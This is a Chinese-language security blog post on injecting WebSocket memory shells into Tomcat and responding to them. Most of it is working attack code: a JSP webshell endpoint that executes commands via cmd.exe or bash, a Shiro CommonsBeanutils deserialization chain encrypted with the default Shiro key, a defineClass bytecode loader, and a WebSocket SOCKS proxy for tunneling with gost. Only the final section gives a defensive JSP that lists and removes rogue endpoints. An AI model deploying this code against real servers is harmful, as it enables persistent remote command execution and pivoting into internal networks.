记websocket内存马及反序列化注入及应急响应
前言:websocket内存马及反序列化注入和应急响应的方法笔记记录
担心到时候应急响应的时候翻车,所以这里先做好相关的准备
参考文章:https://xz.aliyun.com/t/11549
什么是websocket
WebSocket是一种全双工通信协议,即客户端可以向服务端发送请求,服务端也可以主动向客户端推送数据。这样的特点,使得它在一些实时性要求比较高的场景效果斐然(比如微信朋友圈实时通知、在线协同编辑等)。主流浏览器以及一些常见服务端通信框架(Tomcat、netty、undertow、webLogic等)都对WebSocket进行了技术支持。
websocket内存马动态注入
jsp注入代码如下
<%@ page import="javax.websocket.server.ServerEndpointConfig" %>
<%@ page import="javax.websocket.server.ServerContainer" %>
<%@ page import="javax.websocket.*" %>
<%@ page import="java.io.*" %>
<%!
public static class C extends Endpoint implements MessageHandler.Whole<String> {
private Session session;
@Override
public void onMessage(String s) {
try {
Process process;
boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
if (bool) {
process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", s });
} else {
process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", s });
}
InputStream inputStream = process.getInputStream();
StringBuilder stringBuilder = new StringBuilder();
int i;
while ((i = inputStream.read()) != -1)
stringBuilder.append((char)i);
inputStream.close();
process.waitFor();
session.getBasicRemote().sendText(stringBuilder.toString());
} catch (Exception exception) {
exception.printStackTrace();
}
}
@Override
public void onOpen(final Session session, EndpointConfig config) {
this.session = session;
session.addMessageHandler(this);
}
}
%>
<%
String path = request.getParameter("path");
ServletContext servletContext = request.getSession().getServletContext();
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(C.class, path).build();
ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
try {
if (servletContext.getAttribute(path) == null){
container.addEndpoint(configEndpoint);
servletContext.setAttribute(path,path);
}
out.println("success, connect url path: " + servletContext.getContextPath() + path);
} catch (Exception e) {
out.println(e.toString());
}
%>
访问测试的注入地址, http://127.0.0.1:8081/shiro/readme.jsp?path=/test_websocket

接着通过ws协议通信命令,我这里用的是wscat,如下图所示
C:\Users\dell\AppData\Roaming\npm>wscat -c ws://127.0.0.1:8081/shiro/test_websocket -x whoami

模拟shiro反序列化websocket内存马动态注入
找了下网上没有相关的文章,需要自己花点时间进行琢磨,这里需要先跟一遍是如何将当前ManualMemWebsocket类注册到websocket服务中的,核心就是如下代码
ServletContext servletContext = request.getSession().getServletContext();
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(C.class, path).build();
ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
try {
if (servletContext.getAttribute(path) == null){
container.addEndpoint(configEndpoint);
servletContext.setAttribute(path,path);
}
out.println("success, connect url path: " + servletContext.getContextPath() + path);
} catch (Exception e) {
out.println(e.toString());
}
其中创建对应恶意ServerEndpointConfig类就是Eval_Websocket.java,如下代码所示
public class Eval_Websocket extends Endpoint implements MessageHandler.Whole<String> {
private Session session;
@Override
public void onMessage(String s) {
try {
Process process;
boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
if (bool) {
process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", s });
} else {
process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", s });
}
InputStream inputStream = process.getInputStream();
StringBuilder stringBuilder = new StringBuilder();
int i;
while ((i = inputStream.read()) != -1)
stringBuilder.append((char)i);
inputStream.close();
process.waitFor();
session.getBasicRemote().sendText(stringBuilder.toString());
} catch (Exception exception) {
exception.printStackTrace();
}
}
@Override
public void onOpen(final Session session, EndpointConfig config) {
this.session = session;
session.addMessageHandler(this);
}
}
我这里直接用AbstractTranslet子类反序列化gadget来将Eval_MemoryWebsocket中的Eval_Websocket注入到中间件中
Eval_MemoryWebsocket.java
public class Eval_MemoryWebsocket extends AbstractTranslet {
public Eval_MemoryWebsocket() throws Exception {
try {
String path = "/zpchcbd";
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
ServletContext servletContext = standardContext.getServletContext();
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(Eval_Websocket.class, path).build();
ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
if (servletContext.getAttribute(path) == null){
container.addEndpoint(configEndpoint);
servletContext.setAttribute(path,path);
System.out.println("success, connect url path: " + servletContext.getContextPath() + path);
}
}catch (Exception e)
{
e.printStackTrace();
}
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
然后这里搭建一个shiro环境,模拟shiro反序列化实现注入websocket内存马通信,CommonsBeanutilsShiroMemoryWebsocket.java代码实现构造shiro反序列化websocket注入payload
CommonsBeanutilsShiroMemoryWebsocket.java
/*
* TemplatesImpl
* CommonsBeanutils 1.8.3
* commons-collections4 4.0
* test for websocket memory
* */
public class CommonsBeanutilsShiroMemoryWebsocket {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
return barr.toByteArray();
}
public static void main(String []args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Eval_MemoryWebsocket.class.getName());
byte[] payloads = new CommonsBeanutilsShiroMemoryWebsocket().getPayload(clazz.toBytecode());
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.println(ciphertext.toString());
}
}
然后你会发现这样子是不行的,因为是ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(Eval_Websocket.class, path).build();,这一点会出现问题,此时目标环境中是没有加载Eval_Websocket类,所以也就没有对应的Eval_Websocket的class对象,自然就不会成功了
所以当我们在目标环境中执行反序列化的时候,需要先加载Eval_Websocket,获得Eval_Websocket.class,然后在进行创建对应的ServerEndpointConfig对象,最后将其添加到ServerContainer对象中去,这里就需要用到DefineClass方法,这里先将其Eval_Websocket.class转换为字节码数组

参考文章:https://www.freebuf.com/articles/others-articles/167932.html
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
byte[] bytes = new byte[]{-54,-2,-70,-66,0,0,0,52...........................};
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
Class aClass = (Class) method.invoke(classLoader, bytes, 0, bytes.length);
最终的代码如下所示
public class Eval_MemoryWebsocket extends AbstractTranslet {
public Eval_MemoryWebsocket() throws Exception {
try {
String path = "/test_websocket";
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
ServletContext servletContext = standardContext.getServletContext();
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
byte[] bytes = new byte[]{-54,-2,-70,-66,0,0,0,52,0,-109,10,0....................};
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
Class aClass = (Class) method.invoke(classLoader, bytes, 0, bytes.length);
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(aClass, path).build();
ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
if (servletContext.getAttribute(path) == null){
container.addEndpoint(configEndpoint);
servletContext.setAttribute(path,path);
System.out.println("success, connect url path: " + servletContext.getContextPath() + path);
}
}catch (Exception e)
{
e.printStackTrace();
}
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
可以看到注入成功了

命令测试,跟上面一样,如下图所示
C:\Users\dell\AppData\Roaming\npm>wscat -c ws://127.0.0.1:8081/shiro/test_websocket -x whoami

websocket 代理注入
一样,将其下面的类转换为字节码然后进行替换即可
package com.zpchcbd.shiro;
import javax.websocket.Endpoint;
import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler;
import javax.websocket.Session;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.InetSocketAddress;
import java.nio.ByteBuffer;
import java.nio.channels.AsynchronousSocketChannel;
import java.nio.channels.CompletionHandler;
import java.util.HashMap;
import java.util.concurrent.Future;
import java.util.concurrent.TimeUnit;
public class EvalProxyWebsocket extends Endpoint {
long i =0;
ByteArrayOutputStream baos = new ByteArrayOutputStream();
HashMap<String, AsynchronousSocketChannel> map = new HashMap<String,AsynchronousSocketChannel>();
static class Attach {
public AsynchronousSocketChannel client;
public Session channel;
}
void readFromServer(Session channel,AsynchronousSocketChannel client){
final ByteBuffer buffer = ByteBuffer.allocate(50000);
Attach attach = new Attach();
attach.client = client;
attach.channel = channel;
client.read(buffer, attach, new CompletionHandler<Integer, Attach>() {
@Override
public void completed(Integer result, final Attach scAttachment) {
buffer.clear();
try {
if(buffer.hasRemaining() && result>=0)
{
byte[] arr = new byte[result];
ByteBuffer b = buffer.get(arr,0,result);
baos.write(arr,0,result);
ByteBuffer q = ByteBuffer.wrap(baos.toByteArray());
if (scAttachment.channel.isOpen()) {
scAttachment.channel.getBasicRemote().sendBinary(q);
}
baos = new ByteArrayOutputStream();
readFromServer(scAttachment.channel,scAttachment.client);
}else{
if(result > 0)
{
byte[] arr = new byte[result];
ByteBuffer b = buffer.get(arr,0,result);
baos.write(arr,0,result);
readFromServer(scAttachment.channel,scAttachment.client);
}
}
} catch (Exception ignored) {}
}
@Override
public void failed(Throwable t, Attach scAttachment) {t.printStackTrace();}
});
}
void process(ByteBuffer z,Session channel)
{
try{
if(i>1)
{
AsynchronousSocketChannel client = map.get(channel.getId());
client.write(z).get();
z.flip();
z.clear();
}
else if(i==1)
{
String values = new String(z.array());
String[] array = values.split(" ");
String[] addrarray = array[1].split(":");
AsynchronousSocketChannel client = AsynchronousSocketChannel.open();
int po = Integer.parseInt(addrarray[1]);
InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po);
Future<Void> future = client.connect(hostAddress);
try {
future.get(10, TimeUnit.SECONDS);
} catch(Exception ignored){
channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
return;
}
map.put(channel.getId(), client);
readFromServer(channel,client);
channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
}
}catch(Exception ignored){
}
}
@Override
public void onOpen(final Session session, EndpointConfig config) {
i=0;
session.setMaxBinaryMessageBufferSize(1024*1024*20);
session.setMaxTextMessageBufferSize(1024*1024*20);
session.addMessageHandler(new MessageHandler.Whole<ByteBuffer>() {
@Override
public void onMessage(ByteBuffer message) {
try {
message.clear();
i++;
process(message,session);
} catch (Exception ignored) {
}
}
});
}
}
执行命令如下所示
gost-windows-amd64.exe -L "socks5://:1080" -F ws://127.0.0.1:8081?path=/shiro/test_websocket

内存马的应急响应
参考文章:https://www.freebuf.com/articles/web/339361.html
<%@ page import="org.apache.tomcat.websocket.server.WsServerContainer" %>
<%@ page import="javax.websocket.server.ServerContainer" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.util.Set" %>
<%@ page import="java.util.Iterator" %>
<%@ page import="javax.websocket.server.ServerEndpointConfig" %><%-- Created by IntelliJ IDEA. --%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
// 通过 request 的 context 获取 ServerContainer
WsServerContainer wsServerContainer = (WsServerContainer) request.getServletContext().getAttribute(ServerContainer.class.getName());
// 利用反射获取 WsServerContainer 类中的私有变量 configExactMatchMap
Class<?> obj = Class.forName("org.apache.tomcat.websocket.server.WsServerContainer");
Field field = obj.getDeclaredField("configExactMatchMap");
field.setAccessible(true);
Map<String, Object> configExactMatchMap = (Map<String, Object>) field.get(wsServerContainer);
// 遍历configExactMatchMap, 打印所有注册的 websocket 服务
Set<String> keyset = configExactMatchMap.keySet();
Iterator<String> iterator = keyset.iterator();
while (iterator.hasNext()){
String key = iterator.next();
Object object = wsServerContainer.findMapping(key);
Class<?> wsMappingResultObj = Class.forName("org.apache.tomcat.websocket.server.WsMappingResult");
Field configField = wsMappingResultObj.getDeclaredField("config");
configField.setAccessible(true);
ServerEndpointConfig config1 = (ServerEndpointConfig)configField.get(object);
Class<?> clazz = config1.getEndpointClass();
// 打印 ws 服务 url, 对应的 class
out.println(String.format("websocket name:%s, websocket class: %s", key, clazz.getName()));
}
// 如果参数带name, 删除该服务,名字为name参数值
if(request.getParameter("name")!= null){
configExactMatchMap.remove(request.getParameter("name"));
out.println(String.format("delete ws service: %s", request.getParameter("name")));
}
%>
如下图所示,可以看到列出了刚才注入路径为/shiro/test_websocket的内存马


浙公网安备 33010602011771号